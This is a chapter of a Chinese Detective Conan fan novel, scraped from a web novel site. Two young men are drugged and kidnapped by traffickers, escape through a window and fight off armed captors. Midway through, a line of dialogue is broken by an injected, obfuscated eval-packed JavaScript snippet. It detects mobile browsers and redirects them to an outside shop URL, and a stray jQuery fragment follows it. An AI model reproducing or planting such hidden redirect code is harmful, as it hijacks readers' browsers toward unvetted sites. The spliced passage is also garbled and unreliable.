文趣网 > 都市小说 > [柯南]卧底如何活下去? > 27.【睡美人之吻】
    天色渐渐暗下来了。

    暮色把土路染成灰紫色,远处城市的灯火还没亮起来,周围安静得只能听见远处河水的流动声。

    深水觉直起身,拍了拍膝盖上的泥土,看向身侧青年:“天快黑了,你的石头收集好了没?”

    松田阵平心满意足拎着装满石头的袋子站起来,活动了一下蹲麻的腿:“收获超棒!我们走吧!”

    往回走的时候,深水觉刻意走在靠外的一侧,习惯性地用余光扫着周围的环境。

    ……总觉得哪里有些不对。

    天色暗得很快,也就走了十来分钟的功夫就黑透了,土路上没有路灯,只能借着手机手电筒。

    “真是太大意了!怎么这么晚了。”松田阵平照着路,低声苦恼着。

    深水觉还未回话,视线扫过远处路边时,不经脚步一顿,只见那辆白天见过的白色面包车,依旧静静停在原处。

    心头骤然攀上一丝不安,深水觉蹙起眉头,刚要出声说话,手腕却忽然被松田阵平按住。

    下一瞬,急促的脚步声骤然从四面八方炸开,带着明确的目的性,从土路两侧的荒草深处飞速逼近。

    深水觉猛地转头,只见三四道黑影从草丛中骤然窜出袭来,显然早有埋伏。

    松田阵平扔下石头袋一拳砸在最近的那个人脸上,那人闷哼一声后退两步,但另外三个人同时扑了上来。

    深水觉踢开一个朝他抓过来的手,然而对方已经抛过来大量粉末,一股刺鼻的味道蔓延在空气中。

    青年立刻屏住呼吸,想捂住口鼻,可两道力道极强的手臂死死扣住他的双肩,桎梏得他丝毫无法挣脱。

    迷药起效极快,眩晕感飞速席卷四肢百骸,视野层层叠叠地开始模糊,耳边松田阵平骂了一声脏话,然后是重物落地的闷响。

    残存的最后一丝意识里,深水觉模糊看见,散落的石子滚了满地。

    ……

    深水觉从昏迷中醒来。

    他费力掀开沉重的眼皮,只觉得后脑勺传来一阵胀痛,胃部阵阵翻搅,泛起强烈的恶心感。

    四周一片昏暗,头顶某个角落有一盏老旧灯泡在发出微弱的黄光,勉强照出大致轮廓。

    这里似乎是个废弃厂房,或者某个被改造成临时据点的仓库。

    他闭了闭眼忍耐眩晕,在心里呼叫系统:“统子,我要吐出来了,这哪啊?”

    【位置不明,根据之前行车时间和路况推算,应该在采石场方圆五公里内的某个废弃厂房。】

    “他们有多少人?”

    【在你们昏迷期间,这个房间进出过至少四个不同的脚步声,门外现在有两个人在看守。】

    “……你为什么不让我使用道具。”在最后时刻,深水觉原本让系统购买道具,却被系统阻拦。

    【因为当时系统检测到,被绑架更利于剧情发展。】

    什么剧情?把我和松田阵平卖到西伯利亚挖土豆的剧情吗?

    深水觉叹了口气,正想动弹,双手却被粗麻绳反绑在身后,绳结打得非常紧实。

    “那现在可以购买了吗?”

    系统电音滋滋一响:【现在可以了哦宿主。】

    所以非得走被绑架的剧情是什么意思,让谁来拯救他俩吗?

    青年嘴角抽蓄,打开商城选购道具。

    【坦诚相见不好吗?】

    【我只是想我们之间没有秘密,有错吗?坦诚相见懂不懂,你也赶快全部脱掉!】

    【使用道具后,可指定脱掉自己或他人身上的一件物品,但会有短时期手抖症状。】

    紧绷的麻绳应声松脱,簌簌落在地面。

    深水觉甩了甩手,感觉手抖情况还可以接受。先检查了一下自己身上,发现手机和钱包都没了,外套内侧暗袋里的组织药片还在,大概因为缝得太隐蔽,所以搜身的人没发现。

    心头稍定,他立刻转头看向靠墙昏迷的松田阵平。

    深水觉上前跪他旁边,压低嗓音轻唤两声“阵平”,见对方毫无反应,只得对他使用道具。

    【睡美人之吻】

    【亲爱的睡美人,不要再睡了,你的骑士来拯救你了!】

    【只需皮肤接触即可使用道具,对方除死亡/植物人状态都可醒来。】

    深水觉伸手拍了拍青年的脸,几秒后,松田阵平的眼皮动了一下,喉咙溢出一声模糊的闷哼。

    “是我,慢慢睁眼。”深水觉压低声音。

    松田阵平缓缓睁开眼,目光在昏暗的灯光下迅速聚焦,他皱了一下眉,用眼神快速扫了一圈四周,最后又落回深水觉脸上。

    寂静里,他唇瓣微动,用口型无声地问:“你没事吧?”

    深水觉摇了摇头,随即绕到松田阵平身后,帮他解开麻绳。

    松绑后松田阵平没活动手腕,而是伸手攥住对方泛红的腕骨,指腹轻轻揉开麻绳勒出的红痕,目光沉沉:“怎么回事?你的手为什么在抖?”

    道具带来的手抖后遗症还未消退,深水觉无奈的抽出手,垂眸解释:“没事,有点紧张而已。”

    松田阵平静静看着他,没戳破这个谎言。

    深水觉顺势转开话题:“你身上东西还在吗?”

    “该死的,手机钱包没了,别的还在,你呢?”

    “和你一样。”

    就在这时门外传来了脚步声。

    两个人迅速把解开的麻绳绕回手腕上做出仍然被绑着的姿势,闭上眼睛假装还在昏迷。

    门被推开了,铁门撞在水泥墙上发出刺耳的声响,几道手电筒的光柱在屋内扫来扫去,最后落在他们身上。

    “还在睡,我就说你那药剂量够用,上次那个壮得跟牛似的alpha也就多撑了五分钟。”说话的是个沙哑的男声,嗓子像是被烟熏过很多年。

    “检查一下绑没绑紧,那个卷毛看起来可不好惹。”另一个声音更细,语气里带着小心。

    “小题大做,真醒了,还能翻得了天?”

    手电光束在深水觉脸上停了几秒,脚步声缓缓逼近,有人蹲下身,粗糙的手指骤然捏住他的下巴,强行将他的脸抬了起来。

    沙哑的嗓音毫不掩饰的打量道:“这个看起来漂亮点,身体应该不错,上面不是说要年轻的吗?”

    “确实,价钱可以开高一点,哎,你别乱碰,弄伤了就不值钱了。”

    “麻烦,上面不是只要身体好一点的做实验吗,还管伤不伤呢?”

    那人虽然听起来很不情愿,但捏着深水觉下巴的手还是松开了。

    他们走到屋子另一头,开始低声商议:这批“货”明天凌晨有辆车来转运,今晚先留一个人看守,其他人出去吃饭。

    就在脚步声即将离去时,那个声音比较细的男人忽然迟疑地开口:“等一下,这个beta,我怎么感觉有点眼熟呢。”

    深水觉的呼吸骤然一滞,心底警铃大作。

    这不会是组织的人吧?

    折返的脚步声越来越近,手电筒再次照到深水觉脸上,停留的时间远比刚才更久,两道身影蹲在他身前,目光反复在他脸上扫视打量。

    “你在哪儿见过?”

    “想不起来……到底在哪见过呢,哪次名单里是不是有他?”

    “没见过,而且如果送进去了的,怎么可能出的来。”

    “……也对,算了,走了走了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628218|205745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,饿死了。”

    手电筒的光移开了。

    脚步声朝门口移动,铁门重新关上,落锁的门闩发出沉重的声音。

    确认门外再无动静,深水觉才缓缓吐出口气,甩掉重新捆上的麻绳,抬手揉着自己被捏得发僵的下巴。

    松田阵平也甩开麻绳,他活动了一下筋骨,俩人短暂的沉默后,他先起身,悄无声息摸向厂房唯一的高窗。

    窗户用几根铁条封死了,铁条上的螺丝锈得很厉害。

    松田阵平捏住一颗螺丝,轻轻旋动,锈死的螺丝竟微微松动,他回头朝深水觉打了个手势,两人人开始在昏暗中无声的拆螺丝。

    一颗、两颗、三颗……锈迹斑斑的螺丝被逐一卸下,封死窗口的铁条一根根松动脱落,被两人轻轻靠墙摆放,不发出半点声响。

    “你见过他们吗?”松田阵平手下没停,语气听起来很随意。

    “怎么可能?”深水觉回答得也很随意,手指勾着另一颗螺丝的边缘慢慢往外抽,“他们只是见过和我长得像的吧?”

    “……是吗?”

    铁条拆到缝隙已经足够一个人侧身挤过去了,深水觉先钻出去,落地的时候膝盖磕在碎石上,他闷哼一声转身接应松田阵平。

    夜风裹着尘土打在脸上,但他们来不及呼吸自由的空气,身后忽然传来一声暴喝。

    “我靠!别吃了你们这些猪!他们逃跑了!”

    凌乱的手电筒的光柱在黑暗中乱扫,脚步声从厂房正门方向涌过来。

    “跑!”松田阵平一把拽住深水觉的胳膊往外拖。

    可这群绑匪对这片荒区地形极为熟悉,两人尚未跑出多远,两道黑影突然从侧面矮坡后冲出,直接截断前路。

    余下几名绑匪紧随其后,从三个方向缓缓合围逼近,手中的铁管、砍刀在夜色里泛着寒光。

    松田阵平骤然停步,侧身挡在深水觉身前,语速极快:“左边那俩个交给你,剩下的我来。”

    话音未落,一根铁管带着劲风迎面砸来。

    松田阵平侧身避开,顺势扣住对方手腕,猛地向外反折,只听一声痛呼,铁管瞬间脱手。他紧随一记重拳砸在对方胃部,那人瞬间弯腰蜷缩在地,倒地不起。

    另一边,深水觉同时被两人缠住,一人持砍刀劈砍,一人挥着铁管,攻势凌厉密集。

    他侧身避开砍刀劈砍,手肘猛撞对方持刀小臂卸掉武器,抬脚精准踹中对方膝盖,将人直接放倒,随即迅速转身,抬臂格挡住呼啸而来的铁管,借力拧臂,一拳撂倒对手。

    局势堪堪稳住,深水觉还没来得及松口气,余光骤然捕捉到死角异动。

    废弃卡车后方,一道隐匿的人影悄然摸出,掌心紧握着一把折叠刀,锋利的刀尖在月色下折射出冷光,直直对准松田阵平毫无防备的后背。

    千钧一发之际,深水觉毫不犹豫侧身疾冲,瞬间插进松田阵平与持刀者的缝隙之间,左臂径直挡在松田阵平后背。

    锋利的刀刃瞬间划开布料,他全然不顾骤然袭来的剧痛,猛地向外拧转对方持刀的手腕,右拳精准砸在对方下颌。

    那人浑身一震,踉跄后退,折叠刀脱手坠地。

    松田阵平闻声回头,恰好将这一幕尽收眼底。

    青年左臂衣袖裂开一道长长的口子,猩红的血迹顺着小臂蜿蜒滴落,在夜色里触目惊心。

    他眼眸微沉,一脚狠狠踹开身前纠缠的绑匪,反手夺过铁管连续重击绑匪,力道比之前大了不止一倍。

    剩下几个绑匪被他的气势吓退,拖着受伤的同伴撤退,手电筒被扔在地上滚了几圈,最后照着空无一人的荒草地。

    空地上重新安静下来。